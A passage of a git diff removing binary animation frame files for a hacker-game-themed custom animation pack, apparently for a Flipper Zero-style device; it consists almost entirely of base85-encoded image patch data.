z^VU+^&c;G4yVHKg^o(l<#hH(sAuF6IU5O==o$tKFnp69U(pqL!6w9SEgUzjjA>@cOfSB z1Nxj4&N6qqC_{LgxVIk3F|`PbVZ@YUyizp6ntuUWHFHjoU_jr5%WqmAXCF7LdSX0Z z-%Ysw#P3R%RCnEeQ2b-o zO0+8^`m*h&+wG>VVN;}5nFM1sv|$UP{#Z)tM+ikR^hZRP_@_Tki;xm(bxJ?)J@;Pj zIrm&};1+-i0JaPqyPXVtu!|9$Cv(>gGc!*obf3pNPq0g46)DZ2y%*Q$W3@5O@ilkV(i&&At??ApO)67B-a%6YT zf&d7NzItyHAQ!Vd0}nuaI=ndph!HLvxDJHd$zP_C;cj;f4);N8zJ3(V5#(+2swbcV z>VsKtW9#NN{#>w|Q2~)_x(cI8h9SR;!&wm_!^w1iq=OY(9TpL=g~7GL*U=r^_Lo__ z41|PK0Swm9zi>$fA_Te-kOM)QFIw@RM2PP>4EiCjzz#d{3MHByO9ScmWjDoW8K6xJ z4@lV9$-GpKP7;-nnI_f|dp5{F#ucqFYYk*H`jkJw=t@;0wcdWkTx=<=krJJ!D$&kg z>cxg9yJ7ve4GE#UY%nv@N-*1@Q&iDF%pB5HAKc?PTBlR01lEjB+&DX$jr5)qIFkU2V}|FjW$-*@bjyh0c>++;dW2m6r?MWdu|`(nAeAD5NP^n$D)Y zcl+wMsWRmJDGk>WUWAR0X;Frhw{h^*Rj{IVM-vNNt}b>6-st4D6UK;nJVwPc=OoX}Ne_~8#S z-D^}hm{?#!uB^Y6)G!ymQK~OvMSbwuejqVcyOGaD=Lx|h(aVe=R^eTJ&6P%k{5XFS z$OnxJZ|oYoc+OUV0t4L)&hb2JF56G+BpIy6z-+79p??-sAciYW?QrqgTWT&8oMPP* z46Npo0P-Rnl$9*6vHWOs7L=m>_jenz#zMXNnoFRHN7ld3(>AL5TgG!AfyNe7rFJla zXWS1>_FMQrMZ6mTIZ?;tLVzY7+Zh;2&%$8`uq< z_)$=^Y?*Zw4Q)0mIE~ujR74Q}OhG+)4Wq^3po;oY{M3nl(N1Kt)hq16g?sMrch0## z?(YDFAyDeawvYRO2*9~0jKZ(mk2N0s_bw9wX9F+@w|o#+;8qw3eovtvx*6k|fF7*i zwHWMz!Ca+EG!aD=ZwE^KP)@OPD~0Df(TBrkX)ln{M=SYnfTABKDU1PdcpxHVEIS0@ zUV!qH^PcXb*p7w?Ng!J%KD_Z_h~lv1(=@2*lBni)QG6F6iir|=<+JJW`Y098;T}pk zl0TjL&5m{x1@17lIKtbm54O5S@iZO|Xm(vCwS+_Nc10HN(_0)+ZFs*p*S&@pk#%Wy zi4c&BEn~LfQmt301d;^UC8_6=t~0g)wC%yQ^YXUtR^A(mlL_d<*beCRNEcrYSvRiH3FwcK#<>*#{D!b2Ls zLo9()c!sWV!3_mKu=z|MejB4aUJ5DlqL64nM}(wHJY(T08s))~;Q-7OmeIl`|HJ&3#eA7SVrWwg;CjqEFl!ug7_g3n*pGh& zzjM55e&)KeGqSJQkAL^9rmom$D;tqw(QLNhbWpW2ORXzEY{ZS%u*GYO?&x(E^W)F# zOODX1s@D;yq%vXsV*a3JbfV%-Q2);3AD7wnk&)rKrsLiJMsB}tsPUuvK*7zCE8%(n z7-8h-i3{BDH!aWCSxLRKNH)G49AE=Y)td~gTC=u({^xF0j-w@3a$#0FHER(HQp8#gcelNvT+a|5g>PuYWu)4SH)b17_r=6!I zj=FcaZPoc*)wv5`TyC^^W3iuXxZ|fajClt2JDliX7$E&@c^OkpQc{$3##|&G4Jy_Q zkaT9!7jmUuBcO0j2)^+7AM8m1-bBwt(!En}6phAoPi_{{z|BB6$D+ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_16.bm deleted file mode 100644 index 3890a7f1f31055f5daec60851fe0ef2cc6784a04..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWNQQA`|V5XWcszS~_&3g0fh3Q3Xg?l`2_q(`;Y7vmlWy*n_uD;gV(reGvhe8Hv< zCXL?g-Zp!Xn%;2|AuVA`jz}6Fi1x*Y+Ora%FIo&HKA2cq(Z(0i;Da_;zj>Qv=0B6) z{0CGx1iQDGNc@tIP#t`uK^x^kyGkFCzl4G<>XPIK& z!@q5vNEK9%b1Lv0HgsL-``~gmhLdn1Bk%=;d|>!)iF>BLIa! zj47V;1uHaho6(6bU{uIrMoqRjHdqUjAmVPwxvV-IY?jkA*v{!1&8oM}D54k`>|f#T zG^B#_AuGYGS7O1caJT6x=9pm{$~_aE>`!+;OsThwr{gwCFG6jM- zeMyaK508|6nOj38=VSU*JIPI{X8~C`Cjlv~!%z&LxGwy-<5E=niyzwnU|@l82IRa3 z-q7s=@Y+z^>7#(!$hFLf)XS~MF)4XJ$KSu>nzA5r&wd#y+E!cl_@b-8JLxexPoH_) zX1L6v524t3u6PFi@V2fF_bpVv55*?p6r@{Ttu#M=B(eVPrr@Rh?wnVcf!C_l`)?WR zd|G2iSGQ*8$MwD&Pu%Ss1kY_;VUykC?I(X+|HN9J9AI;)=)bp7fxNm$E74 zDoP%|-zfRKh?k-(&K%hK^>5!8)g#3LR$1Me=^lr^y?=FotjOGeH#~W2L$Chupu@jw zUtlAv;hFvfES>wgZ1Lg&x8lOI>|grn8FeU5=+>`cX+8nZUl>J86p>}u!mWl4J13Tu zFfYd3E8eCVwe{NUGPB~CWslZ|TQ?CFl^}56e$gFS?d2TnbR9rQzqtVyS{QP$s?v`( zx@D=y5kwGJ+9%IVdL^@j20-~?phN?b2ev$mBAp&>6gvcx7d8u|uTC5Cz*I+hEoIhF x8W?mDrzA-~v=TNTBzi(Xd8(-GCgINGS8wh?9NvR~CRzdEz^Oh({%4qC{{zAJHpTz| diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_2.bm deleted file mode 100644 index d23016894797142b6f36d2a20693500818a55cd0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 935 zcmV;Y16ce40HXu{fII-5{0IK^|NjBU_5vS&`+fo&>;u2w|J%WXzW@FA;Zonr;2Zzw zKtKuo0T27vKY$Ad?g-}nF0*adrb4KM!p`|lT!07K>X-iU-aLi6_T=I{&Q zU`7H|At?Q>;6a|iJ>K!Skc8es5(16?fxHus@B98i7kq$qdtSk z69$ji2wk`r)7CE&xR(p=3=ug*H-d8ohyfF21Lh3}+BrY}dfmUf@9VKRmGu}QaW9aJ zM5hIZd<^5?ObQUczuxcnmkohjJ@;{F{r$$FKox)A&Fp>4g!B_p3y0hGuH=8*f7u*= zWHBBVxK1y_A|n9siKk|wg>!S5dZ_x_pl#&1alza9_T2k;6P^Y@QLjDPX{F^~TRa10E7 z@BfVd?{NKqIJ@>gkGKCDu3z%tp@H}f<@=-R0D~E@cf;fTgM-ii3*iYylW_9KMIsL$ zusC(__<@vuWT6j_-ppAb0LSAXVesq!5nxEt^Z?@B?`0of|GHoL7mn5gz$}YQZTpUn z`^CqFSS0cH#cf^w4EKAZzsl;oAmHEsf4p~3_rctKemDCZ z3q9W#m--9gztC^@-;aLR2+)4p<^QwRKm0lO_i28y%re8#^{|I8%-;C#+uz6E^GS?t z*+YN-`uUgp3K)9Z|BMzuK0EwdIp6Wm>$lI|#zP!W2t=S+&$&czpmFf%WSzhF?(Ki2 zXD_}P^>*90|IhEAz^K9R(J1%-Lvw}iMpl8g(>8M3LCz1KqgXMUG&h!8K z5B5Lu|9$`efOy~k9cb?#|IznJm;7|u6AF*~C1s<>jgxWCv2fz0#fP97JH;Eob5x@`$ Jq-^jnr}Q3v4z&OP diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_3.bm deleted file mode 100644 index 4063499346e55dc779681cb6367b5b4bbbb742fe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 981 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 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_6.bm deleted file mode 100644 index 4926c87aa2f8f25bc88de001e757e9bce2b790a9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 561 zcmV-10?z#b04)Llcmu#50Ez%Zz#ahjfEi#RDuf990fE@OPA`%S78hd@2Cf1DX#D>< znEGtaUJNQgME@U)=kp)W*~gO)=nsy&Kku2(;1D1QDa-l${(nK^vyYSC`TzcB^WXoR z{5T~A_5;RW$p84^<<(ROd~ccjfIUP=4;$|Png8L3&>pwV|9D=&0gwmNtNRDIeJB0U zeorU;|DTT@tyl;=f3whd{(fQk{s+tAFE@~rL>`mszra4>G5&BMnH(H~fekh!5C|~E zAjE0Z2EhOpAq3!2>OFrn93J2S@KyXZe{~JIz#)QoEZPpQoINlO2Hykm_r%5ZcL$UV z_Jj7o1H=}_W03qf7awpi&x8O=fINNdaSpNw=oc<@2zv5@K-dnY0MIN909y+7vWTz{ zIL<2|_Kw~$)CmLz3HZ8$k_Gtd?>YGEg^mmQ2dQv-Kg@qW@$Z@br-1eBZf`ss_vg<) zjaPx|`262^JwMnybJ8Gt{&@L6&yRN=g#+LF$NB#JS(x}f|2_%)eh~m!p#1*-AB21! zMEBr){687|{eHso;Q#PGc)b4b4{z`HhyTX?;WPihEMS22{&D~K&pdn{Vf4TLIQRbl z%pO0$azK9-{0941IGS;T0|}ZK$v|b5D)x3;LtF663gxf z5CMh;1OzOA41S=ZfJ6X8KnIv$tb*nMJrE3{5f6|6&4@uz{Tz@0xBw8mm|o!#vz`~i diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_7.bm deleted file mode 100644 index dc42726f0a86e347cb003ba155d1fce0846e2659..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 548 zcmV+<0^9uo03ZSYcmu#50PqB00v-VH2Y?C)5by><0I3224&rfqpkSyl7)V)Y5DUiQ z`Rv2<>{8%iQX&9C{CTa68wC^uLSXT}e{*2*pQY4ZKhNLuz8@Q${seDt=l}U# z&;S16^#B+29x(hz|JNS}G(bK-+1Dfg!-uF`URmyU|Hcn93IoRdKh6W(K9|k^Z}tzc z`1gVNJfHV|Ao9R8jDSDS=sbJ>ADDdHY5e|Af#dlv#0VZS&Gld4A3^%?Adwtf++o1? ziclbx8nps~C=i42EcY6}ss`O?1cCwJtN44qYB+Vk1K_)GdcNRvi^p$(`1#;r`n%wK ze(-x>0q3{i1H_zZ_x$)L@%Vr} z?>rBm2j?H3tJpq&{1485KimV``~Bhn@jrMx|L_lQ`8-u_`PZnI0XV>@X$a%@bG%zArt_40mttJ2dbFl m82}jhQS1OY01T{vgITZu>W~mJ1ZCWy4=5-CXaaXtl>!hw;uZ@4 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_8.bm deleted file mode 100644 index fcdbf766f05270dbb76a2501605e61d8b8e8fdb3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 504 zcmVcmu#50PqKZJOSVj0C)m#fT{Ft0ApppgQKDF-ghuuU;Gpv|BprU zIiL0a<)HW2cJH11|DNwJ56ADhzVG|{^YDCs3=1qz@+f$yNOeQYv+G!76CdIo?VGktz&(E-zt21702o~U6c2Cz z^d4Sl9DN?3@&5jK;PLQB=jzt{eoNvHAB_G!50B3S@ALDALfX`TX(!`QNxa ze*yU8{r{ghcs_m{d;kCE9TN(Divz&5fBrH5`u(68hz0_I{=i3p@Bldg2!FEp27nfm u3;+yZKq0=+ARY-AK>_3d7$hJDJ_s1CFbtLluzW*A54Z#bAHWX)cmhBva|T5K diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_AD/frame_9.bm deleted file mode 100644 index e69a0195930a9d7ddeb8a98a7e169c804a41c370..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 585 zcmV-P0=E4D07U`-cmu#50PqKZJOI#uhrmHoAczM%0W<;PbRd-o2qgdu5d1+n5WWly z9}<9g{~~-?nHbFI9~}q(Kg6M$T)sc8HG4nHfyM#J0s#zD^YoABz49@66&6wYwny+E z`WlWVpWozvjsKC06sUijZvQkNMM}j#SIz%#|D!+8^d3F`n0)X7_59yw;PDTffF766 z-SYq6_=m(gg(Ch7$Nmo)91wo@&&WK!d@y++miQkZ_kQD}gooexc#vBtunPnk{}f23 zf`I~%LxHNp90wxniZ#;Z{y$|lwpZBgzwh(+iRZ!X*!=x?|9{VpBR>zn=kv!GkJc|Ah#%MS z`M&W!|Gx~*ezy>NUU(mV-_9m4CwU0OK3pIFhtHXx^f9HJn^Z$T7ul3F(W54l_&;J7T^+Ed;Cu7>}41=JcN3WiM zd-4SXfS^O?Rwx7n9&&|f94M@=MDoPhXdFIH<-lpfdTl#GXVFW z&m*4b4aNcZ2cQ72@yNzI0e74O4t5V;7!05nIK)SR z1NZ~eh65}OpYa(ukN6&*5E)?b|BLnl0y|N8;rM^s+VKDd?*Wt?Xiy9|J#pak;seMK zV6y>~Uz`IO#2lWYV~@j@V|as~(*J-07(7Gc3ZR{V(A1 z_+A0!e0!$b6ALPP6fP81+ zk^j{GIXDN$eJ(%HesA4no}9EK0D0j2fD-|E2k!#${9iNCuRn+wKPEfK8k9f@^Z&Zb z_d}jQ0qyY)2o$(+$bhN7ckp@m<2L|%edz16@yHr6hX;)R|L^!TV-NH9&;JnceDU~x z`0v6Ga|f(^*gW_TzF{E4SJ!r<9`R3?0+0P`H2JLfCC?Y`NLEQJwPH@FnGhk?E_Z` UApP(*!2Utxwi_@% diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_1.bm deleted file mode 100644 index 5e7b0aea8dda8e997db00e718a033544bdcb5238..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 521 zcmV+k0`~m@00jd7fCtxDivB>O{Q(bL7(fHuMu6+z3a9@ce4K;VegY9efB66V_&sC% z|Nj6!VDbM0(>@s=2-z?HzZYv0Cj)A;94LFztz3_+}ril=l;jvcdNljh<*Rweb@*=^K1X} zG=J`Yv>zXP`glyFKabz{dFB7d_2miuNB-);@BYE@{azM#{!tNxDav$p6qN|bs45!% z|Nko+|Nn)8g%JIJ5Tri92Y@^P{2+f|Re}%90pLOT0S}6!GDpJT1M5@&`Oo+n@eIO} z;vX3Q;2#)Y|ExYT@O;4M|4{jS4f8+#hsJ;41P;7D+5eDyclHkr{g$WOrydJ-Z zAM?Ne)q~5f4`1XT_;?yWq(3mf=XeS^01$~pKBDnO6s(^gfq4Ew=l2J&e7C@JA257n z|I64R7!BZ$|1O|nN(j_}>7V&|&!i6@;5~d>|B$Hn`{4U|cm5@qfy(?(U}(4m9%?}c L$9!~M`_Mgr9l00V diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_10.bm deleted file mode 100644 index 67457153ffe51183798b516a4f0f73ad3e72c525..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 908 zcmV;719SWV0Eh$sfII+Sun^z>pmG79|84>wpZ|aVuK|az`TzUCqv!wE{=fLVrlJfQ z|I`0%2afDkdU~Z-Xa^sc|EdojKmK3-|HUa-4G1WHANg1iKtsR(Z}^xf2TT2b4B&e^>vf|Eb{d`+v^E1N}q(7yc*uzLz85-~K=PFa8cO9#{T9|IdfV`G5M?`63bE zfAW9$dFa37VKfg29&*3E{K_E`zko$dFc5g^|AWz=k3}3m%KI!}I05MXLnZsygi5wE z9}XN+Q~%Tazr`_^{{R0Rd$>sA2NMY|h^jrD>)6*~5h5tV|Iz$}BxWg*29Ld%AQ8)i zMxhQ!2z*x}0xp05nw}qmfPvx;FF*em|K|h801qGl`aonaFM4=n5JZ502X-GFzyG)Y z<%h?C2f+i$6d|$z2)tLr2~Y`iKqLOGk%$617=#7@Kq1iFL}qvxttJ2f5J0zvuWnf# z{{td|Kq(2Mn~e|a|C+!d0}%|GJd%ZrqQE$s3IJF|D11TS`bwBa{{@hwWOZ*B6fPi45^Zbzjyx{Tof8f=OghL5loKp+scL@*ozXu(S zf(;C+(}(4!2aoFi1ekaxFv@hImTxII41XZ<{aAIF&GG!tgkKzO!}&3eay0nxflI6c{mwH3Qr6YCq0tA45Sqh#uW4=le^B(W>hlth-jVCA>sulp7kKa8;L(ZBQ^2S_ON%!S^xU}ID9}N9WVT={jdL9z+>$vm*01`uYdHv+Iloc z;^H4&|L1!T3ebP@|MC2pq6!}$U*EsgXg~D-^=uX(@%LZ*BQck0enIlDqfLx2LYKlm zpZs6?d;i<02X8s66e!1lkm{?Y#+1@)f)RemW0fOh|Y z_@(>7xBsE^RaE~2K>dC2-cY|lC3Tj+g8c?UfuaAB{L3hf#r;)j6~BeykHGaob&0BS z>wn|oF*hk2r%sn{3owx@_%>d z`fmtu4&d*JdPn~Trx)Sx|8E802Y~&L@SpBh^?&la;LQbq4M68i`9j@=rGDpU*7^lN z20*{oqXGXb>Q_+d{x1W-2Y|n?fqzxjQn&j0eyR!q0RZ4ju|u~Pp}PKW?EV8l2>=jh z$WQu}{jb(5{lTRI03blX(tlrH+bjIfe!vL;2mk?q(ZBeYco%hj4XA$zgfKt|)z|tv z{a^o|0RRF3pb!WEE$uxW?y54Y0Uz z%$mRdgE##*`yc=R4`BEsJj900MSqY#sy5oH9%1-v_3ZY4=y(2={g2iO6GO0JOx9|A zN+16@`BL5UAI24T{@%AfYI@(F|407GKgVigbyxLv(SG_j^a@?-wv>Ttty=d#QXh0* z=!S$)f32-+)$0F0$@8in`>*ObeoW(2q~Bfti$Cat^&5Iq*rVNJ z#58LKwOGV%q1^w;hGUx~h7yTAG${#~>`dH=n>ssr>#x^KNbnIHUn(f1X@5ZN3+?Kr)K7KD_b)pFm4CDU vPw&b9_TPV@*H1sJ1<-<22!Q&X|FH{{{_^1iOTAI<9clmdAMYvP`!ic{4X8Gw diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_12.bm deleted file mode 100644 index 98bd18344b662e1cd9725ec48523fd2b56695e26..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 993 zcmV<710MVV0Nn$CUm!3D`~$%XfO;UHvHwJ%5V!^E0e}b)G=2b~fPOXo04UoaJPCMs zU{DT)Tp&0Au!cu%1mFltE({y^EMVd>9gegbA`%Y{1N{p40Y}jZfNO#YpBIln0wQs? zL2w)B20~Q;kY3GV799WxY7m?Scn&#u1p|8ms0+t|D}Y>}Gy)jtC&U5x3C{s8fLdU5 z065Sqr$N@hup6L2%lH>~4nSl$1z~RjVh|hz-VyqNL^tOGF$zGZPzXdq0rU(E^aMYp z!2pMS1n@1yAY0fZ0^nvH04zY_uP^98Z|cF&N8l}?flvYiBYRLl~1z@r%mO+o%G!F&ibexflTjlvxuixEU5Fsi9MbO@0?3?0gO z=mpjR`A!vn34nsE2Y?e4VL&jO;26QE01@y&co1F$FZ~||k75S|;7RZh`NRY8t`d1d z;64Z(1|rxPME(Fm71)voTN-B&7;M-GIFMu)TKf!qwOC6KLIVZp07Rf#jaC38Fo=c+ z0HGVC2d%1#Kq1-->6CNN@6|gATH82_=d~_2HL;^E_i)b}%5(bV)J~8<8BLfbg z6h{GSmB66PVZld|!vp9*rUdc@jAMZiS&Zft!huR49c}em0|c00ED+3PQo93;Ko~-I zC_KZ#F_P0E5UBk^2k_f%WQVcXMl3qa*8ksugM14^0HA)M*AK+TDOAGrA!*T9u7(F$2!!A1 z9$J=@zkQ%U>YN7Q42J<-pZ`DpNL*6kfPlv@aGI~GRWbF!_OM#uaA4B`0Wb>xe?|_# z_A<|dJbPdL{Wb++N)5&V1Q!er6#q{}-~a!B%d`+EEMve-6oAm69nWrlxd48SfZ#Cs z{0YE6UiQ{~fQ9NP5Ey(@z%Mul-m z9Y8c;kxqvLQEE617vWQZ)F3fwK!Bjc;Q$Up{RbBfLV_z)Om!CE0PgPYFL P3GhJXoD2*O4H}pLFsqX& diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_13.bm deleted file mode 100644 index 1e6bb9b1f58aab8de57265e45141f7934ba4d5c7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 930 zcmV;T16}+90G$5Qs_|P7uK8D!~D(ga!`)sz7K2vGhWLqI?H)-9JP5Er zb$}tN0tOYpwTXrt6BB_UNjNwOR1(w;7C2GJ*+0=oeDXXygb2nyU*Wz-gqt0NhL=pZPP+%JR(JqQ#-Aqm(A z3m~r~aJ$Dr3b;e03PAvfWOYgLz-opA;DgX05yr_0MF5aY1Qi@O0cgWu1oF^5g6iU@qNsS^e0--C%0cLc@5Wq+0@(Er71>n`vftS09#KxIz@B3hK$^;DFaEk;o z!!*iiJGp}J>J7uHg+wepi@)~0|M|cojpG0ea)+?6(J0m^G%JA59agrh1(0!~w}1ER ze-=axQBW;%m1T8SJFQ=*0)bQ#1C^yZMnTk&+V!=s{9Jk=5f7HCl}^>#`o8PF|Y%h=4F?B%@(K>guadUIm^DPz{V?p+HE8fbbot4?+P5*l-{aI5beaP!|B| zU=cxZ!=aLa2=0;vs+GVhfw5Q!fM6-(02WpO4A2yY2^54V2VH8`>p}wxBn&E1AfQk% EAj?H?t^fc4 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_14.bm deleted file mode 100644 index 03fb3c0a31149e2080948133ce780dc5a380c8aa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfN~)%T~@UljEl`u`vP_rG6sqd`0a&{cr`-J$=`0O)@p*$Y570Kkp_R)7Hg zfe?WDsr;9qU!nAelKN8s^rr*>PZDZJ32z9XT|w+60QC2Z;NMXA)`ve7`W0aP0|2DH z5~L3Sda9HP6toI}{wI(mT|m}90AWGo9{~7^g0de0!M`!!FF@Tr9eLj zh+hEql}cX#@HZepeI1~_0w4w9a})5F5X>(C!Sol<`T)@v40J`nULcmclY#D60c{Er zZ~?f0pdTcl<~NGUs|s`vz^@;@(n!4m1cbi~(pLopK++!wJfehLe+5we1%TfIfDZ5% zg#9U~0QCk6_6C3gK==uuB_j59K>_HM08j@4fCYS2_!&g+cE)$Gctk(z755NNLyz)T$0D!QnqBIA91L!XRuK-mLJwO~lbqNJP z4np{=o>r88t=snpp#KKI2Y@f&3$Y88Qa}V)TZ00D0RZs3*9Xu-+UqMrfZqW^1OR|y z5xr`31QJzl2X|8t1t37cdJ46=fB)2j`hWod2p|A}0&m$QppW<7FQ9z@#IQsNPtZsD zn%oct2|xk>fDixx*CBWiB*lOK0RVskls`TKHn)$ z0$9Kx1RFRS0}a7zKoXz|2M~%d1}s%gFW?2VUw<{c1Tf%XtW1bXziL_u1VgI)1+cue zPMW>{2YOL&RaRB%uVM%xG}MR8@PhX617MY&4`Jx*?p6L@H(l5(0Rkd*A4a%gR90e+ zFzE|)UaHJb71AYl{`&uJMUJb7pa>yUDVHi^bxX4XT%iIdum4p)GSrD`tycf_f|eY} zs6&DO%S{Vi5RU?rtdv<=!6bj08)ysvfe-c{eOFf1=#ANl1gz< zf-q_Xw`c)RFn|SHt)jvGumAu5`xpGM1-)EwPyiwTP;=DY7jyx&i1bh^zW=XRU4H-n zVgovG+h?Ct0RRDxhS%-C3$?*PM_K5Bs_y^lRQ$b;?kXQV;DiP)q);S>s{Qw`Dp}CN z7cUz@De%3z4AQSlw2}(dCGntpdqe^N;Qw!308;Vc0vAn00EH?D(*OG}E}(};9PshI z|BF@i?)C$O=`imJXaK>c^s*GqvO(k*%^X<~s>52c6z vKccUogc_iW$48cI!_xI?T#%?nXkuR~_)*}}e^mhez}klB7ftD+#0M1zgS5(- diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_ANIM/frame_15.bm deleted file mode 100644 index ad913dab7ebba7a5577b181bc4c9f019de497cc0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 723 zcmV;^0xbOj0M7yd3W{pil@E1_gj1oTCyII3@xJ1{oD(f`qXE3>02D04Rw>06G96f=YlUEkJbY zkRXW%#O#2Qz+oVgP%xoTHZT#e&?r$TfwV@34IwbXFc^)*5-N{02|yx2Qizwt5GgZC z6o`IGacVR$@Ng;sXj_ECFabpbWC0ezU2pf7ldLoh#)=SSXfL0K?q(L0S#hD zDg=x!Mf8A6s&!aYfEIZ`@?Z`mWE}~dp$8&_K_lD?{DTQF44#4oKsXDCVhN$ZR3!@J z6o`CCB>>`2oFWi9E}{hifk6jDijL}<3S>BD0@VbG&tpOaPMpIPF@jqvQsDao#&O`V 